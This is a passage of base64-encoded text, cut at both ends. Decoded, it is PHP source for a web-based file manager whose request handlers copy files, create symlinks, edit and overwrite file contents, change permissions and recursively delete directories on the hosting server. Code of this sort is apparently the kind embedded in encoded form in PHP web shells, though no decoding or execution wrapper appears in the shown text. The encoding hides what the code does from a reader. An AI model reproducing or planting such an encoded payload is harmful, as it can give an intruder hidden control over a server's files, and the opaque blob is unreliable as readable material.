6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY29weSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7DQoNCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOw0KCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgew0KCQkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCg0KCQkJJG1lc3NhZ2UgPSAnJzsNCgkJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcDQoiLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJCX0NCgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXA0KIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJCQl9DQoNCgkJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsNCgkJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0gZWxzZSB7DQoJCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9DQoNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAoKTsNCg0KCQllY2hvICJcDQo8Yj4iIC4gd29yZCgnY29weV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjb3B5JykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX3N5bWxpbmsnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmIChzdWJzdHIoJGRlc3QsIC0xLCAxKSA9PSAkZGVsaW0pICRkZXN0IC49IGJhc2VuYW1lKCRmaWxlKTsNCg0KCQlpZiAoIWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRkc2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBzeW1saW5rKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIiBpZD0ic3ltbGluayI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogdG9wIj4nIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPg0KCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlbGF0aXZlIiB2YWx1ZT0ieWVzIiBpZD0iY2hlY2tib3hfcmVsYXRpdmUiIGNoZWNrZWQ9ImNoZWNrZWQiIHN0eWxlPSJtYXJnaW4tdG9wOiAxZXgiIC8+DQoJCTxsYWJlbCBmb3I9ImNoZWNrYm94X3JlbGF0aXZlIj4nIC4gd29yZCgncmVsYXRpdmUnKSAuICc8L2xhYmVsPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdlZGl0JzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7DQoNCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXA0KXA0KIiwgIlwNCiIsICRfUE9TVFsnY29udGVudCddKTsNCg0KCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaWYgKEBpc19yZWFkYWJsZSgkZmlsZSkgJiYgQGlzX3dyaXRhYmxlKCRmaWxlKSkgew0KCQkJZWRpdCgkZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9lZGl0ZWQnLCAkZmlsZSkpOw0KCQl9DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAncGVybWlzc2lvbic6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnc2V0J10pKSB7DQoNCgkJJG1vZGUgPSAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpICRtb2RlIHw9IDAwNDA7IGlmICghZW1wdHkoJF9QT1NUWydndyddKSkgJG1vZGUgfD0gMDAyMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSAkbW9kZSB8PSAwMDEwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8PSAwMDAxOw0KDQoJCWlmIChAY2htb2QoJGZpbGUsICRtb2RlKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdwZXJtaXNzaW9uX25vdF9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJJG1vZGUgPSBmaWxlcGVybXMoJGZpbGUpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KDQoJPHAgc3R5bGU9Im1hcmdpbjogMCI+JyAuIHBocmFzZSgncGVybWlzc2lvbl9mb3InLCAkZmlsZSkgLiAnPC9wPg0KDQoJPGhyIC8+DQoNCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPg0KCTx0cj4NCgkJPHRkPjwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdncm91cCcpIC4gJzwvdGQ+DQoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDA0MCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMjApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMTApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8aHIgLz4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNldCIgdmFsdWU9IicgLiB3b3JkKCdzZXQnKSAuICciIC8+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJwZXJtaXNzaW9uIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KZGVmYXVsdDoNCg0KCWxpc3RpbmdfcGFnZSgpOw0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gZ2V0bGlzdCAoJGRpcmVjdG9yeSkgew0KCWdsb2JhbCAkZGVsaW0sICR3aW47DQoNCglpZiAoJGQgPSBAb3BlbmRpcigkZGlyZWN0b3J5KSkgew0KDQoJCXdoaWxlICgoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGQpKSAhPT0gZmFsc2UpIHsNCg0KCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOw0KDQoJCQlpZiAoJHN0YXQgPSBAbHN0YXQoJHBhdGgpKSB7DQoNCgkJCQkkZmlsZSA9IGFycmF5KA0KCQkJCQknZmlsZW5hbWUnICAgID0+ICRmaWxlbmFtZSwNCgkJCQkJJ3BhdGgnICAgICAgICA9PiAkcGF0aCwNCgkJCQkJJ2lzX2ZpbGUnICAgICA9PiBAaXNfZmlsZSgkcGF0aCksDQoJCQkJCSdpc19kaXInICAgICAgPT4gQGlzX2RpcigkcGF0aCksDQoJCQkJCSdpc19saW5rJyAgICAgPT4gQGlzX2xpbmsoJHBhdGgpLA0KCQkJCQknaXNfcmVhZGFibGUnID0+IEBpc19yZWFkYWJsZSgkcGF0aCksDQoJCQkJCSdpc193cml0YWJsZScgPT4gQGlzX3dyaXRhYmxlKCRwYXRoKSwNCgkJCQkJJ3NpemUnICAgICAgICA9PiAkc3RhdFsnc2l6ZSddLA0KCQkJCQkncGVybWlzc2lvbicgID0+ICRzdGF0Wydtb2RlJ10sDQoJCQkJCSdvd25lcicgICAgICAgPT4gJHN0YXRbJ3VpZCddLA0KCQkJCQknZ3JvdXAnICAgICAgID0+ICRzdGF0WydnaWQnXSwNCgkJCQkJJ210aW1lJyAgICAgICA9PiBAZmlsZW10aW1lKCRwYXRoKSwNCgkJCQkJJ2F0aW1lJyAgICAgICA9PiBAZmlsZWF0aW1lKCRwYXRoKSwNCgkJCQkJJ2N0aW1lJyAgICAgICA9PiBAZmlsZWN0aW1lKCRwYXRoKQ0KCQkJCSk7DQoNCgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSBAZmlsZV9leGlzdHMoJHBhdGggLiAkZGVsaW0gLiAnLicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmICghJHdpbikgew0KCQkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBpc19leGVjdXRhYmxlKCRwYXRoKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCQl9DQoJCQkJfQ0KDQoJCQkJaWYgKCRmaWxlWydpc19saW5rJ10pICRmaWxlWyd0YXJnZXQnXSA9IEByZWFkbGluaygkcGF0aCk7DQoNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRmaWxlWydvd25lciddKSk7DQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOw0KDQoJCQkJJGZpbGVzW10gPSAkZmlsZTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGZpbGVzOw0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBzb3J0bGlzdCAoJiRsaXN0LCAka2V5LCAkcmV2ZXJzZSkgew0KDQoJcXVpY2tzb3J0KCRsaXN0LCAwLCBzaXplb2YoJGxpc3QpIC0gMSwgJGtleSk7DQoNCglpZiAoJHJldmVyc2UpICRsaXN0ID0gYXJyYXlfcmV2ZXJzZSgkbGlzdCk7DQoNCn0NCg0KZnVuY3Rpb24gcXVpY2tzb3J0ICgmJGFycmF5LCAkZmlyc3QsICRsYXN0LCAka2V5KSB7DQoNCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsNCg0KCQkkY21wID0gJGFycmF5W2Zsb29yKCgkZmlyc3QgKyAkbGFzdCkgLyAyKV1bJGtleV07DQoNCgkJJGwgPSAkZmlyc3Q7DQoJCSRyID0gJGxhc3Q7DQoNCgkJd2hpbGUgKCRsIDw9ICRyKSB7DQoNCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsNCgkJCXdoaWxlICgkYXJyYXlbJHJdWyRrZXldID4gJGNtcCkgJHItLTsNCg0KCQkJaWYgKCRsIDw9ICRyKSB7DQoNCgkJCQkkdG1wID0gJGFycmF5WyRsXTsNCgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRyXTsNCgkJCQkkYXJyYXlbJHJdID0gJHRtcDsNCg0KCQkJCSRsKys7DQoJCQkJJHItLTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlxdWlja3NvcnQoJGFycmF5LCAkZmlyc3QsICRyLCAka2V5KTsNCgkJcXVpY2tzb3J0KCRhcnJheSwgJGwsICRsYXN0LCAka2V5KTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBwZXJtaXNzaW9uX29jdGFsMnN0cmluZyAoJG1vZGUpIHsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHsNCgkJJHR5cGUgPSAncyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgew0KCQkkdHlwZSA9ICdsJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7DQoJCSR0eXBlID0gJy0nOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHsNCgkJJHR5cGUgPSAnYic7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgew0KCQkkdHlwZSA9ICdkJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7DQoJCSR0eXBlID0gJ2MnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHsNCgkJJHR5cGUgPSAncCc7DQoJfSBlbHNlIHsNCgkJJHR5cGUgPSAnPyc7DQoJfQ0KDQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXIgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4ODAwKSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7DQoJfSBlbHNlIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgl9DQoNCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cCAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg0MDApIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KDQoJfQ0KDQoJJG90aGVyICA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4MjAwKSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAndCcgOiAnVCc7DQoJfSBlbHNlIHsNCgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgl9DQoNCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7DQoNCn0NCg0KZnVuY3Rpb24gaXNfc2NyaXB0ICgkZmlsZW5hbWUpIHsNCglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZ2V0bWltZXR5cGUgKCRmaWxlbmFtZSkgew0KCXN0YXRpYyAkbWltZXMgPSBhcnJheSgNCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLA0KCQknXC5naWYkJyAgICAgICAgICA9PiAnaW1hZ2UvZ2lmJywNCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsDQoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLA0KCQknXC50eHQkfFwuYXNjJCcgICA9PiAndGV4dC9wbGFpbicsDQoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLA0KCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJw0KCSk7DQoNCglmb3JlYWNoICgkbWltZXMgYXMgJHJlZ2V4ID0+ICRtaW1lKSB7DQoJCWlmIChlcmVnaSgkcmVnZXgsICRmaWxlbmFtZSkpIHJldHVybiAkbWltZTsNCgl9DQoNCgkvLyByZXR1cm4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJcmV0dXJuICd0ZXh0L3BsYWluJzsNCg0KfQ0KDQpmdW5jdGlvbiBkZWwgKCRmaWxlKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmICFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7DQoNCgkJaWYgKCRkaXIgPSBAb3BlbmRpcigkZmlsZSkpIHsNCg0KCQkJJGVycm9yID0gZmFsc2U7DQoNCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgew0KCQkJCQkkZXJyb3IgPSB0cnVlOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRkaXIpOw0KDQoJCQlpZiAoISRlcnJvcikgcmV0dXJuIEBybWRpcigkZmlsZSk7DQoNCgkJCXJldHVybiAhJGVycm9yOw0KDQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWRkc2xhc2ggKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7DQoJCXJldHVybiAkZGlyZWN0b3J5IC4gJGRlbGltOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkZGlyZWN0b3J5Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgew0KDQoJaWYgKHBhdGhfaXNfcmVsYXRpdmUoJHN0cmluZykpIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gc2ltcGxpZnlfcGF0aCgkc3RyaW5nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGF0aF9pc19yZWxhdGl2ZSAoJHBh